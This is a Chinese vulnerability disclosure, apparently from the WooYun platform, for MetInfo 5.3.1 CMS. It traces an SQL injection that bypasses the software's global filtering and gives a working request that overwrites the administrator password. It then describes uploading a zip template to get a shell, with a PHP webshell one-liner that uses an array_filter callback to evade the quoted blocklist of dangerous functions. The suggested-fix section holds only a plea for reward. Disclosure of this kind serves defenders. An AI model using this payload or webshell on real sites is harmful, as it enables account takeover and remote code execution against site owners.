metinfo 5.3.1 注入漏洞(无视全局防御)+后台getshell

2015-12-16 14,142
漏洞标题 metinfo 5.3.1 注入漏洞(无视全局防御)+后台getshell
相关厂商 MetInfo
漏洞作者 淡蓝色の忧伤
提交时间 2015-08-17 10:55
公开时间 2015-11-15 11:24
漏洞类型 SQL注射漏洞
危害等级
自评Rank 20
漏洞状态 厂商已经确认
Tags标签 白盒测试,php源码分析,逻辑错误

漏洞详情

注入触发点

/admin/include/global.func.php 1456行save_met_cookie函数

function save_met_cookie(){
global $met_cookie,$db,$met_admin_table;
$met_cookie['time']=time();
$json=json_encode($met_cookie);
$username=$met_cookie[metinfo_admin_id]?$met_cookie[metinfo_admin_id]:$met_cookie[metinfo_member_id];
$username=daddslashes($username,0,1);
$query="update $met_admin_table set cookie='$json' where id='$username'";
$user=$db->query($query);
}

$json=json_encode($met_cookie); 将$met_cookie转为json格式,存入数据库;

这里说明一下,json_encode 会吃掉转移符\,当我们引入单引号的时候 json 吃掉了 单引号的转译符\ ,所以在进入SQL语句的时候我们能保留 单引号 ',有了单引号一切就好办了。而且这个语句处理的是 met_admin_table 表,是管理员表。

我们看看$met_cookie

metinfo 采用伪全局变量机制

在/admin/include/common.inc.php 第76行

$met_cookie_filter=$met_cookie;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key]=daddslashes($_value,0,0,1);
}
}
$met_cookie=array();
$met_cookie=$met_cookie_filter;
$settings=array();
$db_settings=array();
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);

这里对$met_cookie 的处理,真是笑死了,只需要对$met_cookie_filter进行赋值还是能影响$met_cookie

我们看看daddslashes函数怎么处理的

/admin/include/global.func.php 注意是后台,前台也有个daddslashes函数但是代码不一样

function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}else{
if(SQL_DETECT!=1 || $sql_injection==1){
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$url = str_ireplace("\"","/",$url);
$url = str_ireplace("'","/",$url);
$url = str_ireplace("*","/",$url);
$url = str_ireplace("~","/",$url);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string = str_ireplace("where", "\where", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "\%", $string); //
}
}

return $string;
}

(SQL_DETECT!=1 || $sql_injection==1)当满足这个条件时才过滤关键字,否则只是用addslashes处理, sql_injection默认为 0 ,我们找 SQL_DETECT

在admin/login/login.check.php

第9行 定义了define('SQL_DETECT',1);

if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);
require_once $commonpath;

所以只要在这里引入的变量都只是使用addslashes 处理

而save_met_cookie函数又能得到单引号,我们这样就绕过了metinfo的防御了。

现在找一下漏洞触发点

从上面的代码可以看到 在admin/login/login.check.php 中引入

admin/include/common.inc.php

而在 admin/include/common.inc.php文件的最后引入了

metlist.php

在metlist.php 第91行左右

if(!$shortcut_list){
$shortcut_list[0]=array('name'=>'lang_skinbaseset','url'=>'system/basic.php?anyid=9&lang=cn','bigclass'=>'1','field'=>'s1001','type'=>'2','list_order'=>'10','protect'=>'1','hidden'=>'0');
$shortcut_list[1]=array('name'=>'lang_indexcolumn','url'=>'column/index.php?anyid=25&lang=cn','bigclass'=>'1','field'=>'s1201','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
$shortcut_list[2]=array('name'=>'lang_unitytxt_75','url'=>'interface/skin_editor.php?anyid=18&lang=cn','bigclass'=>'1','field'=>'s1101','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
$shortcut_list[3]=array('name'=>'lang_tmptips','url'=>"interface/info.php?anyid=24&lang=cn",'bigclass'=>'1','field'=>'s1101','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
change_met_cookie('metinfo_admin_shortcut',$shortcut_list);
save_met_cookie();
$query="update $met_admin_table set admin_shortcut='".json_encode($shortcut_list)."' where admin_id='$metinfo_admin_name'";
$db->query($query);
}

我们看到调用了 save_met_cookie()函数;

漏洞证明:

因为没有回显,就把$query 输出好证明。

因为save_met_cookie函数中的数据表是管理员表,我们可以直接把管理员密码改了

O(∩_∩)O哈哈~

访问

/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--

metinfo注入.png

这样就可以吧管理员密码改为12345678

当然利用不止这些(⊙o⊙)哦,毕竟我们已经绕过了防御。

现在后台getshell

getshel admin\include\uploadify.php 206行

elseif($type=='skin'){
/*模板文件*/
$filetype=explode('.',$_FILES['Filedata']['name']);
if($filetype[count($filetype)-1]=='zip'){
if(stristr($met_file_format,'zip') === false){
echo $lang_jsx36;
die();
}
//if(!is_writable('../../templates/'))@chmod('../../templates/',0777);
$filenamearray=explode('.zip',$_FILES['Filedata']['name']);
$skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'");
if($skin_if){
$metinfo=$lang_loginSkin;
}else{
$f = new upfile('zip','../../templates/','','');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0];
$met_upsql = $f->upload('Filedata',$filenamearray[0]);
include "pclzip.lib.php";
$archive = new PclZip('../../templates/'.$filenamearray[0].'.zip');
if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true);
$list = $archive->listContent();
$error=0;
foreach($list as $key=>$val){
if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){
$error=1;
}
if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){
$danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir');
$ban='preg_replace|assert|eval|\$_POST|\$_GET';
foreach($danger as $key1 => $val1){
$str=file_get_contents('../../templates/'.$val[filename]);
$str=str_replace(array('\'','"','.'),'',$str);
if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){
$error=1;
}
if(preg_match('/('.$ban.')/i',$str)){
$error=1;
}

}
}
}
@unlink('../../templates/'.$filenamearray[0].'.zip');
if($error){
foreach($list as $key=>$val){
if(is_dir('../../templates/'.$val[filename])){
@deldir('../../templates/'.$val[filename]);
}else{
@unlink('../../templates/'.$val[filename]);
}
}
$metinfo='含有危险函数,禁止上传!!';
}else{
$metinfo='1$'.$filenamearray[0];
}
}

上传.zip 文件会自动解压,不过有过滤,但是是 采用黑名单方式,用回调函数可以轻易绕过 如下面的一句话

<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>

接下来是利用 把上面的码写进test.php文件里压缩为test.zip格式 在后台找个能上传的的地方上传, 修改参数 type=skin 上传成功后在/templates目录下生成 test.php

修复方案:

看我写的怎么辛苦,求高rank,求 $$.

版权声明:转载请注明来源 淡蓝色の忧伤@乌云

Tags:
评论  (0)
快来写下你的想法吧!

Chloe O_o

文章数:38559 积分: 0

关注我们